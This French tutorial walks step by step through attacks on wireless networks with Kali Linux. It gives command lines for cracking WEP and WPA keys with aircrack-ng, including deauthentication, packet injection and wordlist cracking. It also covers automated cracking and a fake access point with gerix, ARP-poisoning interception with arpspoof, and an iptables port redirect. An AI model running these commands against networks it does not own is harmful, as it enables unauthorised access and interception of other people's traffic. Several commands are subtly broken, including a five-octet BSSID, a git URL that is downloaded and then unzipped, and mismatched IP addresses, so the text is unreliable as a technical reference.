Attaques de réseaux sans-fil avec Kali Linux
Aujourd'hui, il n’est pas une entreprise n’utilisant pas les réseaux sans-fil pour adresser les applications fournies aux utilisateurs. Malheureusement, la mobilité engendre également un certain nombre d’inconvénient, dont la sécurité doit tenir compte. Nous allons donc explorer différentes techniques permettant de manipuler les ondes radio du trafic réseau incluant celles des téléphones mobiles et des réseaux sans-fil.
Parmi les différentes solutions pour éprouver une connexion au réseau sans-fil, on détaillera les suivantes :
- Crackage de réseau sans-fil WEP (ainsi que WPA/WPA2)
- Automatisation du crackage des réseaux sans-fil
- Manipulation du trafic d’url
- Redirection de port
L'objectif n'est pas de vous inciter à pirater le réseau sans-fil de votre voisin, mais plutôt de vous faire prendre conscience de l'importance de renforcer la sécurisé de son réseau sans-fil (ou filaire...).
Sommaire
A. Crackage de réseau sans fil
Il faut commencer par distinguer les réseaux type WEP (Wireless Equivalent Privacy) de ceux abrégé en WPA (WiFi Protected Access). Dans le premier cas, il s’agit de la première génération de réseau sans-fil supplantée en 2003 par la seconde génération WPA/WPA2.
Dans tous les cas, nous utiliserons Aircrack qui est un programme de capture, d’analyse et de crackage du trafic de réseaux sans-fil. Grâce au programme airmon-ng, on va stopper l’interface sans-fil (généralement appelée wlan0) afin de changer l’adresse MAC :
# airmon-ng stop # ifconfig wlan0 down # macchanger --mac 0a:0b:1c:45:56:67 wlan0
On peut alors redémarrer l’interface du Réseau sans-fil:
# airmon-ng start wlan0
Le programme airodump-ng va alors permettre de détecter les points d’accès au réseau sans-fil à proximité :
# airodump-ng wlan0
Cela permet alors de faire apparaître une liste de réseaux disponibles. Lorsque l’on affiche celui que l’on souhaite attaquer, on peut arrêter le déroulement de la liste (en cliquant sur [CTRL]+C. On doit ensuite sélectionner l’adresse Mac correspondant au réseau souhaité, grâce à ce qui apparaît dans la colonne BSSID. En cliquant à droite sur le bouton de la souris et en sélectionnant l’option ‘Copy’, cela permet de mémoriser cette information.
D'autre part, il faut également retenir le numéro de canal que l’on visualise dans la colonne ‘Channel’. On peut donc déclencher la capture de la session pour ce réseau précis :
# airodump-ng -c 10 -w wirelessattack --bssid 09:AC:90:AB:78 wlan0
Cela déclenche l’ouverture d’une fenêtre de type terminal qui affiche le résultat de la précédente commande. On peut fermer cette fenêtre et en ouvrir une nouvelle afin de pouvoir tenter l’association grâce au programme aireplay-ng dont le formalisme est :
# aireplay-ng -1 0 -a <BSSID> -h <MAC> -e <ESSID> <Interface>
Exemple : pour une machine dont le BSSID est 09:AC:90:AB:78 :
# aireplay-ng -1 0 -a 09:AC:90:AB:78 –h 0a:0b:1c:45:56:67 -e sr-kali2018 wlan0
L’étape suivante consiste alors à rediriger le trafic vers le routeur afin de pouvoir disposer de paquets à capturer. On se sert encore une fois du programme aireplay-ng pour cette tâche spécifique :
# aireplay-ng -3 -b 09:AC:90:AB:78 -h 0a:0b:1c:45:56:67 wlan0
L’écran de la fenêtre se remplit alors de caractères issus du trafic Réseau circulant actuellement sur le réseau sans-fil. On peut le laisser tourner une à deux minutes afin d’avoir assez d’information à exécuter lors de la phase de crackage. Finalement, on peut exécuter le programme aircrack-ng pour permettre d’effectuer le décodage de la clé WEP :
# aircrack-ng -b 09:AC:90:AB:78 wirelessattack.cap
REMARQUE : pour ce qui est du décodage des clés WPA/WPA2, c’est dans la dernière partie que cela diffère des clés WEP. Une seule commande aireplay-ng est nécessaire à effectuer l’association :
# aireplay-ng --deauth 1 -a 09:AC:90:AB:78 -c 0a:0b:1c:45:56:67 wlan0
Le décodage peut être récupéré via la commande suivante:
# aircrack-ng -w ./wordlist.lst wirelessattack.cap
B. Automatisation du processus de crackage WiFi
Afin de permettre une analyse automatique des flux WiFi et détecter les possibilités de se connecter à distance, on peut mettre en place l’utilitaire gerix. Pour se faire, on doit le télécharger et le configurer :
# wget https://github.com/kimocoder/gerix-wifi-cracker.git # unzip gerix-wifi-cracker-master.zip # mv gerix-wifi-cracker-master/ /usr/share/gerix-wifi-cracker # cd /usr/share/gerix-wifi-cracker # python gerix.py
Cela va permettre d’ouvrir une fenêtre applicative disposant d’onglets permettant d’interagir avec les flux réseaux WiFi :
REMARQUE : comme cela fait appel à une application graphique, il est conseillé de lancer ce processus depuis un serveur X Window pour pouvoir afficher correctement la boite de dialogue sans message d’erreur.
En termes de configuration, nous pouvons alors sélectionner l’interface WiFi à scanner, puis cliquer sur le bouton ‘Enable/Disable Monitor Mode’. Lorsque l’activation est effective, on peut alors sélectionner le réseau cible et cliquer sur le bouton ‘Rescan Networks’ :
Cela permet alors de visualiser une liste de réseaux disponibles en tant que cible de notre opération de scan. On doit sélectionner un réseau chiffré WEP et se positionner sur l’onglet éponyme où il sera possible de déclencher alors la capture du trafic :
Il faut ensuite sélectionner l’onglet ‘WEP Attacks (no client)’ afin de déclencher l’authentification falsifiée sur la victime du faux point d’accès :
On peut alors successivement cliquer sur les boutons ‘Start false access point authentication on victim’ puis sur celui mentionnant ‘Start the ChopChop attack’. Dans le terminal qui s’initialise on peut répondre ‘Y’ à la question ‘Use this packet’. Lorsque c’est fait on copie le fichier .cap de capture et on clique sur le bouton ‘Create the ARP packet to be injected on the victim access point’.
Lorsque l’on a capturé approximativement 20000 paquets, on peut basculer sur l’onglet ‘Cracking’ et cliquer sur le bouton ci-dessous pour récupérer le déchiffrement de la chaîne de caractères associés au mot de passe WEP.
REMARQUE : l’outil gerix permet également de définir un faux point d’accès. Il existe un onglet ‘Fake AP’ permettant de réaliser ce genre de paramétrage.
C. Manipulation de trafic URL
Il s’agit ici de réaliser quelque chose d’assez similaire à une attaque de l’homme du milieu. En effet, on cherche alors à rediriger le trafic destiné à Internet à passer systématiquement par notre plateforme en premier. Ce genre de manipulation s’appuie sur une attaque par empoisonnement ARP. En envoyant des messages ARP spoofé à une victime se trouvant sur le même réseau local. Cela peut être mené à bien grâce à l’utilitaire arpspoof.
On va donc ouvrir une fenêtre de terminal et exécuter la commande ci-dessous autorisant la redirection du trafic sur notre machine :
# echo 1 >> /proc/sys/net/ipv4/ip_forward
L’étape suivante consiste à exécuter arpspoof pour empoisonner le trafic entrant de la machine cible vers la passerelle par défaut. Ce programme possède de nombreuses options dont le formalisme est le suivant :
# arpspoof -i <Iface> -t <IPtarget> <IPdest>
Donc, si l’on souhaite empoisonner le trafic d’une machine Windows7 (par exemple), portant l’adresse IP 192.168.5.11, on devra exécuter en premier lieu la commande suivante :
# arpspoof -i wlan0 -t 192.168.5.11 192.168.1.1
Puis, il faut alors exécuter à nouveau arpspoof pour récupérer le trafic de la machine servant de passerelle par défaut vers notre plateforme Kali Linux :
# arpspoof -i wlan0 -t 192.168.1.1 192.168.5.5
D. Redirection de port
Maintenant, on peut aussi utiliser Kali Linux pour faire en sorte de rediriger un port d’écoute spécifique. Typiquement, c’est ce qui se fait par exemple pour les flux HTTP, sur le port TCP/80, que l’on redirige, le plus souvent, vers le port TCP/8080.
De la même façon que précédemment, on utilise la fonctionnalité de redirection ip_forward pour permettre la redirection du trafic de notre machine :
# echo 1 >> /proc/sys/net/ipv4/ip_forward
Puis, nous exécutons la commande arpspoof pour empoisonner le trafic ARP (de la même manière que précédemment), mais e ne précisant que l’adresse IP de destination :
# arpspoof -i wlan0 192.168.1.1
Ensuite, nous exécutons arpspoof pour rediriger le trafic de la passerelle par défaut vers notre plateforme Kali Linux, en ayant également mis en place une règle de redirection via iptables :
# arpspoof -i wlan0 -t 192.168.1.1 192.168.5.5
La règle iptables à activer est alors la suivante :
# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
REMARQUE: il ne faut pas oublier que l’on peut également analyser le trafic réseau au travers de l’outil ettercap que l’on a vu précédemment, lors de la description des attaques type Man-in-the-middle et qui s’applique également aux réseaux sans-fil.